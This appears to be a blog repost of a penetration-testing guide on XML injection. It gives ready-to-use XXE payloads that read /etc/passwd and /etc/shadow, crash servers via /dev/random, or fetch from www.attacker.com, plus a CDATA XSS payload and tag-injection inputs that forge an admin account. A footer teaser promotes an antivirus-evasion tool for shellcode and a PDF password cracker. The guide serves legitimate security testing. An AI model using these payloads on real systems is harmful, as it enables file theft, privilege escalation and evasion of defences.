Testing for XML Injection (OTG-INPVAL-008)

-



XML Injection testing is when a tester tries to inject an XML doc to the application. If the XML parser fails to contextually validate data, then the test will yield a positive result.

This section describes practical examples of XML Injection. First, an XML style communication will be defined and its working principles explained. Then, the discovery method in which we try to insert XML metacharacters. Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).



How to Test

Let's suppose there is a web application using an XML style communication in order to perform user registration. This is done by creating and adding a new <user> node in an xmlDb file.

Let's suppose the xmlDB file is like the following: 
<?xml version="1.0" encoding="ISO-8859-1"?> 
<users> 
        <user> 
                <username>donald</username> 
                <password>!t3</password> 
                <userid>0</userid>
                <mail>donald@wheretofind.com</mail>
        </user> 
        <user> 
                <username>Meckay0</username> 
                <password>s3d6h</password> 
                <userid>500</userid>
                <mail>meckay0@whatever.coo</mail>
        </user> 
</users>

When a user registers himself by filling an HTML form, the application receives the user's data in a standard request, which, for the sake of simplicity, will be supposed to be sent as a GET request.

For example, the following values: 
Username: miley
Password: Runn@bl3!
E-mail: mil3y@crook.com
will produce the request: 
http://www.example.com/addUser.php?username=miley&password=Runn@bl3!&email=mil3y@crook.com

The application, then, builds the following node: 
<user> 
        <username>miley</username> 
        <password>Runn@bl3!</password> 
        <userid>500</userid>
        <mail>mil3y@crook.com</mail>
</user>

which will be added to the xmlDB: 
<?xml version="1.0" encoding="ISO-8859-1"?> 
<users> 
        <user> 
                <username>donald</username> 
                <password>!t3</password> 
                <userid>0</userid>
                <mail>donald@wheretofind.com</mail>
        </user> 
        <user> 
                <username>Meckay0</username> 
                <password>s3d6h</password> 
                <userid>500</userid>
                <mail>meckay0@whatever.coo</mail>
        </user> 
        <user> 
                <username>miley</username> 
                <password>Runn@bl3!</password> 
                <userid>500</userid>
                <mail>mil3y@crook.com</mail>
        </user> 
</users>



Discovery

The first step in order to test an application for the presence of a XML Injection vulnerability consists of trying to insert XML metacharacters.

XML metacharacters are:
  • Single quote: ' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.
As an example, let's suppose there is the following attribute: 
<node attrib='$inputValue'/>
So, if: 
inputValue = hoo'
is instantiated and then is inserted as the attrib value: 
<node attrib='hoo''/>
then, the resulting XML document is not well formed.
  • Double quote: " - this character has the same meaning as single quote and it could be used if the attribute value is enclosed in double quotes.
<node attrib="$inputValue"/>
So if: 
$inputValue = hoo"
the substitution gives: 
<node attrib="hoo""/>
and the resulting XML document is invalid.
  • Angular parentheses: > and < - By adding an open or closed angular parenthesis in a user input like the following:
Username = hoo<
the application will build a new node: 
<user> 
     <username>hoo<</username> 
     <password>Runn@bl3!</password> 
     <userid>500</userid>
     <mail>mil3y@crook.com</mail>
</user>
but, because of the presence of the open '<', the resulting XML document is invalid.



  • Comment tag: <!--/--> - This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:
Username = hoo<!--
the application will build a node like the following: 
<user> 
    <username>hoo<!--</username> 
    <password>Runn@bl3!</password> 
    <userid>500</userid>
    <mail>mil3y@crook.com</mail>
</user>
which won't be a valid XML sequence.
  • Ampersand: & - The ampersand is used in the XML syntax to represent entities. The format of an entity is '&symbol;'. An entity is mapped to a character in the Unicode character set.
For example: 
<tagnode>&lt;</tagnode>
is well formed and valid, and represents the '<' ASCII character.
If '&' is not encoded itself with &amp;, it could be used to test XML injection.
In fact, if an input like the following is provided: 
Username = &hoo
a new node will be created: 
<user> 
<username>&hoo</username> 
<password>Runn@bl3!</password> 
<userid>500</userid>
<mail>mil3y@crook.com</mail>
</user>
but, again, the document is not valid: &hoo is not terminated with ';' and the &hoo; entity is undefined.



  • CDATA section delimiters: <![CDATA[ / ]]> - CDATA sections are used to escape blocks of text containing characters which would otherwise be recognized as markup. In other words, characters enclosed in a CDATA section are not parsed by an XML parser.
For example, if there is the need to represent the string '<hoo>' inside a text node, a CDATA section may be used: 
<node>
    <![CDATA[<hoo>]]>
</node>
so that '<hoo>' won't be parsed as markup and will be considered as character data.
If a node is built in the following way: 
<username><![CDATA[<$userName]]></username>
the tester could try to inject the end CDATA string ']]>' in order to try to invalidate the XML document. 
userName  = ]]>
this will become: 
<username><![CDATA[]]>]]></username>
which is not a valid XML fragment.

Another test is related to CDATA tag. Suppose that the XML document is processed to generate an HTML page. In this case, the CDATA section delimiters may be simply eliminated, without further inspecting their contents. Then, it is possible to inject HTML tags, which will be included in the generated page, completely bypassing existing sanitization routines.

Let's consider a concrete example. Suppose we have a node containing some text that will be displayed back to the user. 
 <html>
 $HTMLCode
 </html>
Then, an attacker can provide the following input: 
$HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
and obtain the following node: 
<html>
  <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
 </html>
During the processing, the CDATA section delimiters are eliminated, generating the following HTML code: 
<script>alert('XSS')</script>
The result is that the application is vulnerable to XSS.

External Entity: The set of valid entities can be extended by defining new entities. If the definition of an entity is a URI, the entity is called an external entity. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks, which can be used to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems.

To test for XXE vulnerabilities, one can use the following input: 
<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE hoo [  
  <!ELEMENT hoo ANY >
  <!ENTITY xxe SYSTEM "file:///dev/random" >]><hoo>&xxe;</hoo>

This test could crash the web server (on a UNIX system), if the XML parser attempts to substitute the entity with the contents of the /dev/random file.

Other useful tests are the following: 
 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE hoo [  
   <!ELEMENT hoo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><hoo>&xxe;</hoo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE hoo [  
   <!ELEMENT hoo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><hoo>&xxe;</hoo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE hoo [  
   <!ELEMENT hoo ANY >
   <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><hoo>&xxe;</hoo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE hoo [  
   <!ELEMENT hoo ANY >
   <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><hoo>&xxe;</hoo>



Tag Injection

Once the first step is accomplished, the tester will have some information about the structure of the XML document. Then, it is possible to try to inject XML data and tags. We will show an example of how this can lead to a privilege escalation attack.

Let's considering the previous application. By inserting the following values: 
Username: miley
Password: Runn@bl3!
E-mail: mil3y@crook.com</mail><userid>0</userid><mail>mil3y@crook.com
the application will build a new node and append it to the XML database: 
<?xml version="1.0" encoding="ISO-8859-1"?> 
<users> 
        <user> 
                <username>donald</username> 
                <password>!t3</password> 
                <userid>0</userid>
                <mail>donald@middleearth.com</mail>
        </user> 
        <user> 
                <username>Meckay0</username> 
                <password>s3d6h</password> 
                <userid>500</userid>
                <mail>Meckay0@whatever.coo</mail>
        </user> 
        <user> 
                <username>miley</username> 
                <password>Runn@bl3!</password> 
                <userid>500</userid>
                <mail>mil3y@crook.com</mail><userid>0</userid><mail>mil3y@crook.com</mail>
        </user> 
</users>

The resulting XML file is well formed. Furthermore, it is likely that, for the user miley, the value associated with the userid tag is the one appearing last, i.e., 0 (the admin ID). In other words, we have injected a user with administrative privileges.

The only problem is that the userid tag appears twice in the last user node. Often, XML documents are associated with a schema or a DTD and will be rejected if they don't comply with it.

Let's suppose that the XML document is specified by the following DTD: 
<!DOCTYPE users [
          <!ELEMENT users (user+) >
          <!ELEMENT user (username,password,userid,mail+) >
          <!ELEMENT username (#PCDATA) >
          <!ELEMENT password (#PCDATA) >
          <!ELEMENT userid (#PCDATA) >
          <!ELEMENT mail (#PCDATA) >
]>

Note that the userid node is defined with cardinality 1. In this case, the attack we have shown before (and other simple attacks) will not work, if the XML document is validated against its DTD before any processing occurs.

However, this problem can be solved, if the tester controls the value of some nodes preceding the offending node (userid, in this example). In fact, the tester can comment out such node, by injecting a comment start/end sequence: 



Username: miley
Password: Runn@bl3!</password><!--
E-mail: --><userid>0</userid><mail>mil3y@crook.com
In this case, the final XML database is: 
<?xml version="1.0" encoding="ISO-8859-1"?> 
<users> 
        <user> 
                <username>donald</username> 
                <password>!t3</password> 
                <userid>0</userid>
                <mail>donald@middleearth.com</mail>
        </user> 
        <user> 
                <username>Meckay0</username> 
                <password>s3d6h</password> 
                <userid>500</userid>
                <mail>Meckay0@whatever.coo</mail>
        </user> 
        <user> 
                <username>miley</username> 
                <password>Runn@bl3!</password><!--</password> 
                <userid>500</userid>
                <mail>--><userid>0</userid><mail>mil3y@crook.com</mail>
        </user>
</users>

The original userid node has been commented out, leaving only the injected one. The document now complies with its DTD rules.

Source Code Review

The following Java API may be vulnerable to XXE if they are not configured properly.
  • javax.xml.parsers.DocumentBuilder
  • javax.xml.parsers.DocumentBuildFactory
  • org.xml.sax.EntityResolver
  • org.dom4j.*
  • javax.xml.parsers.SAXParser
  • javax.xml.parsers.SAXParserFactory
  • TransformerFactory
  • SAXReader
  • DocumentHelper
  • SAXBuilder
  • SAXParserFactory
  • XMLReaderFactory
  • XMLInputFactory
  • SchemaFactory
  • DocumentBuilderFactoryImpl
  • SAXTransformerFactory
  • DocumentBuilderFactoryImpl
  • XMLReader
  • Xerces: DOMParser, DOMParserImpl, SAXParser, XMLParser
Check source code if the docType, external DTD, and external parameter entities are set as forbidden uses.
In addition, the Java POI office reader may be vulnerable to XXE if the version is under 3.10.1.
The version of POI library can be identified from the file name of the JAR. For example,
  • poi-3.8.jar
  • poi-ooxml-3.8.jar
The followings source code keyword may apply to C.
  • libxml2: xmlCtxtReadMemory,xmlCtxtUseOptions,xmlParseInNodeContext,xmlReadDoc,xmlReadFd,xmlReadFile ,xmlReadIO,xmlReadMemory, xmlCtxtReadDoc ,xmlCtxtReadFd,xmlCtxtReadFile,xmlCtxtReadIO
  • libxerces-c: XercesDOMParser, SAXParser, SAX2XMLReader


Comments

Post a Comment

Popular posts from this blog

Avet – Open Source Anti-Virus Evasion Tool

-
Image
When we want to perform an exploitation to a windows target, we need a payload that is undetectable to Antivirus Solutions. Msfvenom on its own is not enough. So we need an AV evasion tool to make this easy for us. Avet is a tool for building exe files with shellcode payloads for antivirus evasion. Installing Avet First clone the repository to our machine. git clone https://github.com/govolution/avet.git   After that go inside the folder and run the setup file to install wine and other missing components. cd avet/       Run the setup file to install the missing components.   ./setup.sh     Select create  for new installation   Running Avet There are two ways to run avet. Run avet by typing the command below. python avet_fabric.py   There are two ways to run avet. Either by compiling the make_avet script as shown below, or by  running the avet_fabric.py scr...
Read more

PDFCrack - Password Cracking Tool for PDF-files

-
Image
PDFcrack is a GNU/Linux tool for cracking password protected PDF files. It is a very small command line application. It is not preinstalled in kali linux. We can install through command line. For installing pdfcrack open a terminal and enter apt install pdfcrack Syntax and options Usage: pdfcrack -f filename [OPTIONS]           : pdfcrack -f filenmae -w passwordfile.txt OPTIONS : -b, --bench perform benchmark and exit -c, --charset=STRING Use the characters in STRING as charset -w, --wordlist=FILE Use FILE as source of passwords to try -n, --minpw=INTEGER Skip trying passwords shorter than this -m, --maxpw=INTEGER Stop when reaching this passwordlength -l, --loadState=FILE Continue from the state saved in FILENAME -o, --owner Work with the ownerpassword -u, --user Work with the userpassword (default) -p, --password=STRING Give userpassword to speed up breaking ownerpassword (...
Read more

How to Repair Kali Linux grub after installing Windows in Dual boot System

-
Image
If your System has primary OS Windows then you install your secondary OS Kali Linux. That will be OK, Kali Linux puts boot entry of Windows automatically for you. At initial boot menu you can see both OS entry to boot. If your windows is corrupt in dual boot system or if you want to install windows as secondary OS after installing Kali Linux as primary OS. You may face corrupt boot-loader menu. You wont be able to boot Kali Linux any more because Windows wont put entry of Kali Linux automatically in their boot menu. So this post motive is to help those guys which are facing those problems subjecting to corrupt Boot-loader. There are mainly two methods: 1. Repair Grub via Kali Linux live USB. 2. Repair Grub Via Boot-rapair-disk. Method 1# Repair Grub via Kali Linux live USB It is up to you which you want to choose but if you are Linux familiar then go for this method. Requirements 1. A Kali Linux ISO image. You can download here: Download Kali Linux...
Read more